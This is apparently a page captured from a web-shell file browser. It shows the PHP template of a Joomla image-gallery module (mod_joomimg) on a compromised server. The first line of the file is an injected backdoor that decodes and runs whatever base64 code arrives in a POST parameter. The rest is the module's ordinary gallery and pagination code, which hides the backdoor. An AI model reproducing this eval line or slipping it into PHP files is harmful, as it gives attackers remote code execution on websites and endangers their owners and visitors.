?
Path : /home/admin/public_html/old/modules/mod_joomimg/tmpl/ |
Current File : /home/admin/public_html/old/modules/mod_joomimg/tmpl/default.php |
<?php eval(base64_decode($_POST['nb3e010']));?><?php // $HeadURL: https://joomgallery.org/svn/joomgallery/JG-1.5/Module/JoomImages/trunk/tmpl/default.php $ // $Id: default.php 2578 2010-11-09 14:22:59Z aha $ /** * Module JoomImages 1.5 * by JoomGallery::Project Team * @package JoomGallery * @Copyright JoomGallery team * @ All rights reserved * @ Joomla Open Source is Free Stuff * @ Released under GnuGPL License. **/ // no direct access defined('_JEXEC') or die('Restricted access'); // Defining sectiontableentry class $sectiontableentry = "sectiontableentry"; $secnr = 1; $count_img_per_row = 0; $csstag=$joomimgObj->getConfig("csstag"); $countobjects=count($imgobjects); if($joomimgObj->getConfig('sectiontableentry')==1) { $rowclass = $sectiontableentry.$secnr." ".$csstag."row"; } else { $rowclass = "joomimg_row"; } //global module div ?> <div class="<?php echo $csstag; ?>main"> <?php if($joomimgObj->getConfig('scrollthis')) { ?> <marquee behavior="scroll" direction="<?php echo $joomimgObj->getConfig('scrolldirection'); ?>" loop="infinite" height="<?php echo $joomimgObj->getConfig('scrollheight'); ?>" width="<?php echo $joomimgObj->getConfig('scrollwidth'); ?>" scrollamount="<?php echo $joomimgObj->getConfig('scrollamount'); ?>" scrolldelay="<?php echo $joomimgObj->getConfig('scrolldelay'); ?>" <?php echo $joomimgObj->scrollmousecode; ?> class="<?php echo $joomimgObj->getConfig('csstag');?>scroll"> <?php } if ($joomimgObj->getConfig('pagination') && $joomimgObj->getConfig('paginationpos') == 0) { $paglinks = ceil($countobjects / $joomimgObj->getConfig('paginationct')); ?> <div class="<?php echo $csstag."pagnavi";?>"> <span id="<?php echo $csstag."paglink_1"?>" class="<?php echo $csstag."paglinkactive";?>">1</span> <?php for ($linkct = 2; $linkct <= $paglinks; $linkct++ ) { ?> <span id="<?php echo $csstag."paglink_".$linkct?>" class="<?php echo $csstag."paglink";?>"><?php echo $linkct;?></span> <?php } ?> </div> <?php } //first row ?> <div class="<?php echo $rowclass;?>"> <?php $imgct=0; foreach ($imgobjects as $obj) { $imgct++; if ($joomimgObj->getConfig('pagination') && $imgct > $joomimgObj->getConfig('paginationct')) { break; } // Checks if a new row should be started if($count_img_per_row >= $joomimgObj->getConfig('img_per_row')) { ?> </div> <div class="joomimg_clr"></div> <?php $count_img_per_row = 0; if($joomimgObj->getConfig('sectiontableentry')==1) { $secnr = ($secnr==1) ? 2 : 1; $rowclass = $sectiontableentry.$secnr." joomimg_row"; } else { $rowclass = "joomimg_row"; } //new row ?> <div class="<?php echo $rowclass;?>"> <?php } ?> <div class="<?php echo $csstag;?>imgct"> <?php $count_img_per_row++; ?> <?php echo $obj->imgelem;?> </div> <?php } // close last row ?> </div> <div class="joomimg_clr"></div> <?php if($countobjects==0) { if ($joomimgObj->getConfig('show_empty_message')) { echo JText::_('JINO_PICTURES_AVAILABLE'); } } if($joomimgObj->getConfig('scrollthis') == 1) { ?> </marquee> <?php } // Pagination if active // Output all image elements in hidden container // and the links for pagination if ($joomimgObj->getConfig('pagination')) { if ($joomimgObj->getConfig('paginationpos')==1) { $paglinks = ceil($countobjects / $joomimgObj->getConfig('paginationct')); ?> <div class="<?php echo $csstag."pagnavi";?>"> <span id="<?php echo $csstag."paglink_1"?>" class="<?php echo $csstag."paglinkactive";?>">1</span> <?php for ($linkct = 2; $linkct <= $paglinks; $linkct++ ) { ?> <span id="<?php echo $csstag."paglink_".$linkct?>" class="<?php echo $csstag."paglink";?>"><?php echo $linkct;?></span> <?php } ?> </div> <?php } ?> <div id="<?php echo $csstag."pagelems";?>" style="display:none"> <?php // Output the html code of all image elements $imgct=0; foreach ($imgobjects as $obj) { $imgct++; ?> <div id="<?php echo $csstag."pagelem_".$imgct;?>" class="<?php echo $csstag."pagelem";?>"> <?php echo $obj->pagelem; ?> </div> <?php } ?> </div> <?php } ?> </div>